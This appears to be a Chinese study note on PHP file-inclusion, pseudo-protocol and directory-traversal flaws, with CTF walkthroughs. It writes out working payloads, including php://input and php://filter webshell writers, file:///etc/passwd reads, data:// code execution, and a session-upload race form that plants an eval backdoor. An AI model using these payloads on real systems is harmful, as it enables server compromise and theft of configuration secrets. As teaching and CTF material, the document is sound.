文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒&文件安全&目录安全
一、文件包含、伪协议、无文件利用等
1.文件包含原理
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。
比如include($_GET['file']);
用?file=1.txt
txt里写的是后门
这样包含的文件被当作当前脚本语言去代码执行
分类:
本地包含-Local File Include-LFI
远程包含-Remote File Include-RFI【php远程包含开关开启,或者php.ini的allow_url_include=ON。这样才可以用远程包含。地址后面直接?file=地址】
差异原因:由代码过滤和环境配置文件开关决定
危害:
本地包含:没有上传,文件就是固定的,包含带有供给的代码。有文件利用的话,上传一个文件,配合上传,文件写有恶意代码。
无文件利用:
1.配合文件上传
2.包含日志文件利用
3.包含session文件利用
4.无文件支持伪协议利用
文件读取:
file:///etc/passwd
php://filter/read=convert.base64-encode/resource=phpinfo.php
文件写入:
php://filter/write=convert.base64-encode/resource=phpinfo.php
php://input POST:<?php fputs (fopen ('shell.php','w'),'<?php@eval($_GET[cmd]); ?>'); ?>
代码执行:
php://input POST:<?php phpinfo ();?>
data://text/plain, <?php phpinfo();?>
data://text/plain;base64, PD9waHAgcGhwaW5mbygpOz8%2b
远程利用思路:
直接搭建一个可访问的远程URL包含文件
2、白盒审计
-白盒发现:
可通过应用功能追踪代码定位审计
可通过脚本特定函数搜索定位审计
可通过伪协议玩法绕过相关修复等16
PHP: include, require, include_once, require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行require函数出现错误的时候,会直接报错并退出程序的执行
Java: java.io.File, java.io.FileReader等
ASP.NET: System.IO.FileStream, System.IO.StreamReader等
3、黑盒分析
-黑盒发现:主要观察参数传递的数据和文件名是否对应23
URL中有path、dir、file、pag、page、archive、p、eng、语言文等相关字眼
二、题目案例
1.无文件读取
出来是加密的,用64base解密

2.过滤php
代码执行data协议
data+base64

这里的编码原代码是读取根目录下的文件。可以改成读取当前目录,或者直接找flag.php

3.过滤php、data
可以用日志包含


然后尝试把代码写到UA里去,这样相当于代码会执行
用抓包工具

而后界面会显示

然后继续找这个fl0g.php


这里显示出3333后,右键查看源代码

4.过滤php、data、冒号、点
这题练条件竞争

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
自定义session名字,条件竞争访问session文件,触发创建新文件
点击查看代码
<!DOCTYPE html>
<html>
<body>
<form action="http://xxxx.ctf.show/" method="POST"
enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS"
value="<?php fputs(fopen('shell.php,'w'),'<?php@eval ($_POST[1])?>'?" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
把session文件传过去

抓包,cookie改掉

接下来不断发包,不断产生session文件,写入后门代码。同时一直访问。



5.用到编码(64base,凯撒)
通过 php://filter 包装器创建一个名为 123.php 的文件,并向其中写入经过 Base64 解码后的内容。php://filter/write=convert.base64-decode/resource=123.php进行两次URL编码就行。
然后content=base64值转换的命令

这题有Base64的填充和对齐规则,编码要每3个字节即24位一组编码,生成四个字符,如果原始数据长度不是3的倍数,编码结果末尾就添加==,确保总长度是4的倍数。
PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==不考虑填充符的情况下有效数据长度为75个字节,不是4的倍数。前面要加两个a,让整个字符串变60字节,这样才能正常分组解码。

尝试访问123.php

这里查看源代码就能取到flag

或者用凯撒加密
url编码2次:
php://filter/write=string.rot13/resource=2.php
content=
6.过滤php及各种通配符(64base)
过滤php就用data协议

用base64绕过

*base64编码结果不能有统配符号,需要尝试加点东西让结果没有符号
比如后面加了“ad”

7.过滤了各种关键字
没过滤php,所以用php和iconv加密
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
点击查看代码
<?php
$result = iconv ("UCS-2LE", "UCS-2BE", '<?php eval ($_PoST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE",$result);
?>
playload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

访问a.php


三、文件安全&目录安全
1.文件安全-前后台功能点-下载&读取&删除-黑白盒
下载=读取
常规下载(直连下载)的URL:
http://www.IP.com/upload/123.pdf
可能存在安全问题的URL:
http://www.IP.com/xx.xx?file=123.pdf
安全问题,在于下载的文件以参数值的方式发送解析下载,如果更改的参数值就是指定下载文件
利用:常规下载敏感文件(数据库配置,中间件配置,系统密钥等文件信息)
文件删除(常出现后台中)
可能存在安全问题:前台或后台有删除功能应用利用:常规删除重装锁定配合程序重装或高危操作
比如进入后台后用install,会提示先从ftp删除

抓包删除

如果提示操作不存在可以如下

*删除是高危操作,尽量谨慎
2.目录安全-前后台功能点-目录遍历&目录穿越
目录遍历
目录权限控制不当,通过便利获取有价值的信息文件加以利用
目录穿越(常出现在后台)
目录权限控制不当,通过控制查看目录路径穿越到其他目录或判断获取价值文件再利用
黑盒分析
- 功能点
文件上传,文件下载,文件删除,文件管理器等地方 - URL特征
文件名:
download, down, readfile, read, del, dir, path, src, Lang等参数名:
file, path, data, filepath, reIdfile, data, url, realpath等
白盒分析
上传类函数,删除类函数,下载类函数,目录操作函数,读取查看函数等

浙公网安备 33010602011771号